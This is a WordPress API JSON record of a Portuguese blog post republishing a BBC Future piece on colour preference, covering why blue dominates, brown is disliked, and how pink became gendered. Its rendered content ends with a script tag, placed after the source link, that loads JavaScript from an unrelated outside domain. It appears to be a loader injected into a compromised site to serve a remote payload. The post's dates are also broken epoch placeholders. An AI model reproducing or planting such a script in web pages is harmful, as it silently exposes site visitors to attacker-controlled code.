{"id":1718,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/por-que-o-azul-e-provavelmente-a-sua-cor-favorita-segundo-a-ciencia-13-06-2022\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"por-que-o-azul-e-provavelmente-a-sua-cor-favorita-segundo-a-ciencia-13-06-2022","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/por-que-o-azul-e-provavelmente-a-sua-cor-favorita-segundo-a-ciencia-13-06-2022\/","title":{"rendered":"Por que o azul \u00e9 provavelmente a sua cor favorita, segundo a Ci\u00eancia &#8211; 13\/06\/2022"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p class=\"lead\">As cores est\u00e3o longe de serem neutras. Em vez disso, os humanos atribuem significado a elas, principalmente por causa de hist\u00f3rias subjetivas, e assim criam raz\u00f5es pessoais para achar um tom repelente ou atraente.\n            <\/p>\n<p>Em 1993, o fabricante de giz de cera Crayola perguntou \u00e0s crian\u00e7as americanas qual era a sua cor de giz de cera favorita. A maioria delas escolheu diferentes tons de azul.<\/p>\n<p>Ap\u00f3s sete anos, a empresa repetiu a experi\u00eancia. E, novamente, sete tons de azul apareceram entre as dez mais escolhidas. Havia tamb\u00e9m roxo, verde e rosa.<\/p>\n<p>A predomin\u00e2ncia do azul n\u00e3o surpreende Lauren Labrecque, professora da Universidade de Rhode Island, nos EUA, que estuda o efeito da cor no marketing. Ela muitas vezes pede a seus alunos qual \u00e9 sua cor favorita. Depois de ouvir a resposta, ela faz uma apresenta\u00e7\u00e3o.<\/p>\n<p>&#8220;J\u00e1 tenho um slide pronto que diz &#8216;80% de voc\u00eas disseram azul'&#8221;, diz Labrecque.<\/p>\n<p>E ela geralmente acerta.<\/p>\n<p>&#8220;Quando nos tornamos adultos, todos gostamos de azul. E parece ser algo intercultural&#8221;, diz ela.<\/p>\n<p>Curiosamente, o Jap\u00e3o \u00e9 um dos poucos pa\u00edses onde as pessoas dizem que o branco est\u00e1 entre suas tr\u00eas cores prediletas.<\/p>\n<h2>O que dizem os estudos?<\/h2>\n<p>Ter uma cor favorita \u00e9 algo que tende a aparecer na inf\u00e2ncia.<\/p>\n<p>Pergunte a qualquer crian\u00e7a qual \u00e9 sua cor favorita, e a maioria, com giz de cera na m\u00e3o, estar\u00e1 pronta para responder.<\/p>\n<p>A verdade \u00e9 que, com o passar do tempo, as crian\u00e7as come\u00e7am a criar afinidades com certas cores, de acordo com experi\u00eancias que associam a elas.<\/p>\n<p>\u00c9 prov\u00e1vel que as crian\u00e7as associem cores brilhantes ? como laranja, amarelo, roxo ou rosa ? a emo\u00e7\u00f5es positivas.<\/p>\n<p>Um estudo com 330 crian\u00e7as entre 4 e 11 anos mostrou que elas usavam suas cores favoritas para desenhar personagens &#8220;agrad\u00e1veis&#8221; e tendiam a usar preto para personagens &#8220;desagrad\u00e1veis&#8221;.<\/p>\n<p>Outros estudos, no entanto, n\u00e3o encontraram essa mesma rela\u00e7\u00e3o, porque as associa\u00e7\u00f5es entre emo\u00e7\u00f5es e cores est\u00e3o longe de ser simples.<\/p>\n<p>Costuma se dizer que quando as crian\u00e7as passam para a adolesc\u00eancia, suas escolhas de cores assumem um tom mais escuro e sombrio, mas n\u00e3o h\u00e1 muita pesquisa acad\u00eamica sobre isso.<\/p>\n<p>Essas paletas de cores parecem convergir \u00e0 medida que as pessoas viram adultas. Curiosamente, enquanto a maioria dos adultos diz preferir tons azuis, os adultos tamb\u00e9m t\u00eam uma cor menos favorita em comum: um marrom amarelado escuro.<\/p>\n<h2>Por que temos cores favoritas?<\/h2>\n<p>Basicamente, todos temos cores favoritas porque temos coisas favoritas.<\/p>\n<p>Pelo menos essa \u00e9 a ess\u00eancia da teoria da val\u00eancia ecol\u00f3gica, uma ideia proposta por Karen Schloss, professora assistente de Psicologia da Universidade de Wisconsin-Madison, nos EUA.<\/p>\n<p>As cores est\u00e3o longe de serem neutras. Em vez disso, os humanos atribuem significado a elas, principalmente por causa de hist\u00f3rias subjetivas, e assim criam raz\u00f5es pessoais para achar um tom repelente ou atraente.<\/p>\n<p>&#8220;Isso explica por que pessoas diferentes t\u00eam prefer\u00eancias diferentes pela mesma cor e por que sua prefer\u00eancia por uma determinada cor pode mudar com o tempo&#8221;, diz Schloss.<\/p>\n<p>Em um dos experimentos, quadrados coloridos foram exibidos em uma tela. Os volunt\u00e1rios precisavam avaliar o quanto eles gostavam de cada um deles.<\/p>\n<p>Em seguida, as mesmas cores foram exibidas novamente, s\u00f3 que desta vez, em vez de quadrados, em objetos.<\/p>\n<p>Imagens amarelas e azuladas foram usadas com objetos neutros, como grampeadores ou chave de fenda.<\/p>\n<p>As fotos vermelhas e verdes foram deliberadamente distorcidas. Metade dos participantes viu imagens vermelhas que evocavam mem\u00f3rias positivas, como morangos ou rosas no Dia dos Namorados, enquanto as verdes foram projetadas para causar nojo, como saliva ou detritos em um lago.<\/p>\n<p>A outra metade viu associa\u00e7\u00f5es inversas: feridas vermelhas em carne viva e colinas verdes ou de kiwi.<\/p>\n<p>Com essas imagens houve uma mudan\u00e7a na prefer\u00eancia de cores. Os volunt\u00e1rios escolhiam qualquer cor que fosse enfatizada positivamente, com pouca diminui\u00e7\u00e3o para o tom negativo.<\/p>\n<p>No dia seguinte, o teste foi repetido e a mudan\u00e7a induzida no experimento parece ter sido anulada pelas cores que os participantes experimentaram no mundo real.<\/p>\n<p>&#8220;Isso nos diz que nossas experi\u00eancias com o mundo influenciam constantemente a maneira como vemos e interpretamos as cores&#8221;, diz Schloss.<\/p>\n<p>&#8220;Pense nas prefer\u00eancias de cores como um resumo de suas experi\u00eancias cotidianas e habituais com essa cor&#8221;, acrescenta.<\/p>\n<h2>O reinado do azul<\/h2>\n<p>A prefer\u00eancia geral pelo azul segue igual desde os primeiros estudos de cores registrados no s\u00e9culo 19.<\/p>\n<p>E a maior parte de nossa experi\u00eancia com cores provavelmente ser\u00e1 positiva, como oceanos perfeitos ou c\u00e9us claros.<\/p>\n<p>Pelo mesmo motivo, a pesquisa oferece uma pista de por que a cor marrom \u00e9 a menos popular, pois est\u00e1 associada a res\u00edduos biol\u00f3gicos ou alimentos em decomposi\u00e7\u00e3o.<\/p>\n<p>A psic\u00f3loga experimental Domicele Jonauskaite estuda as conota\u00e7\u00f5es cognitivas e afetivas das cores na Universidade de Lausanne, na Su\u00ed\u00e7a. Ela observou como as crian\u00e7as costumam enxergar azul e rosa.<\/p>\n<p>O amor das meninas por formas cor-de-rosa atinge o auge por volta dos 5 ou 6 anos de idade e depois desaparece quando elas viram adolescentes.<\/p>\n<p>&#8220;Mas os meninos evitam o rosa a partir dos 5 anos. Elas pensam &#8216;eu posso gostar de qualquer cor, menos de rosa&#8217;. \u00c9 uma forma de rebeldia um menino gostar de rosa&#8221;, diz.<\/p>\n<p>&#8220;E entre os homens adultos \u00e9 dif\u00edcil encontrar algu\u00e9m que diga &#8216;rosa \u00e9 a minha favorita&#8217;.&#8221;<\/p>\n<p>Alguns pesquisadores no passado sugeriram que essa prefer\u00eancia de cor ancorada no g\u00eanero \u00e9 evolucion\u00e1ria: as mulheres, que eram as coletoras nas sociedades de ca\u00e7a, tinham prefer\u00eancia por cores associadas \u00e0s bagas.<\/p>\n<p>Isso \u00e9 uma besteira, diz Jonauskaite, que cita v\u00e1rios artigos recentes que analisam a prefer\u00eancia de cor em culturas n\u00e3o globalizadas, como aldeias na Amaz\u00f4nia peruana e um grupo de camponeses no norte da Rep\u00fablica do Congo. Em nenhum deles, as meninas demonstraram prefer\u00eancia pelo rosa.<\/p>\n<p>&#8220;Para se ter essa prefer\u00eancia, ou o contr\u00e1rio, \u00e9 preciso haver uma codifica\u00e7\u00e3o de identidade social&#8221;, analisa.<\/p>\n<p>De fato, o rosa era considerado uma cor masculina estereotipada antes da d\u00e9cada de 1920 e s\u00f3 passou a ser associada \u00e0s meninas em meados do s\u00e9culo 20.<\/p>\n<h2>E quem n\u00e3o gosta de azul?<\/h2>\n<p>Quem se sente atra\u00eddo por tons impopulares pode ter mem\u00f3rias positivas na inf\u00e2ncia relacionadas a essa cor, como o caso dos beb\u00eas dos anos 1970, que cresceram em uma \u00e9poca em que sof\u00e1s marrons estavam na moda, diz Alice Skelton, do Sussex Color Group &amp; Baby Lab, da Universidade de Sussex, no Reino Unido.<\/p>\n<p>Mas existe outra possibilidade.<\/p>\n<p>&#8220;Pode ser que enquanto alguns est\u00e3o tentando alcan\u00e7ar a homeostase (estabilidade), outros buscam sensa\u00e7\u00f5es&#8221;, diz ela.<\/p>\n<p>&#8220;Pense no caso dos artistas, cujo principal trabalho \u00e9 procurar coisas que desafiem seu sistema visual ou prefer\u00eancia est\u00e9tica.&#8221;<\/p>\n<p>S\u00e3o eles que, sem d\u00favida, n\u00e3o v\u00e3o escolher o l\u00e1pis azul.<\/p>\n<p><a href=\"https:\/\/www.bbc.com\/future\/article\/20220601-what-your-favourite-colour-says-about-you?xtor=AL-73-%5Bpartner%5D-%5Buol.com.br%5D-%5Blink%5D-%5Bbrazil%5D-%5Bbizdev%5D-%5Bisapi%5D\">Leia aqui o artigo original em ingl\u00eas, publicado na BBC Future.<\/a><\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/bbc\/2022\/06\/13\/por-que-o-azul-e-provavelmente-a-sua-cor-favorita-segundo-a-ciencia.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>As cores est\u00e3o longe de serem neutras. Em vez disso, os humanos atribuem significado a elas, principalmente por causa de hist\u00f3rias subjetivas, e assim criam raz\u00f5es pessoais para achar um tom repelente ou atraente. Em 1993, o fabricante de giz de cera Crayola perguntou \u00e0s crian\u00e7as americanas qual era a sua cor de giz de&#8230;<\/p>\n","protected":false},"author":1,"featured_media":1719,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_kad_post_transparent":"","_kad_post_title":"","_kad_post_layout":"","_kad_post_sidebar_id":"","_kad_post_content_style":"","_kad_post_vertical_padding":"","_kad_post_feature":"","_kad_post_feature_position":"","_kad_post_header":false,"_kad_post_footer":false,"footnotes":""},"categories":[1],"tags":[3221,86,3223,3224,111,3222,566,466],"class_list":["post-1718","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sem-categoria","tag-azul","tag-ciencia","tag-cor","tag-favorita","tag-por","tag-provavelmente","tag-segundo","tag-sua"],"_links":{"self":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts\/1718","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1718"}],"version-history":[{"count":0,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts\/1718\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/media\/1719"}],"wp:attachment":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1718"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1718"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1718"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}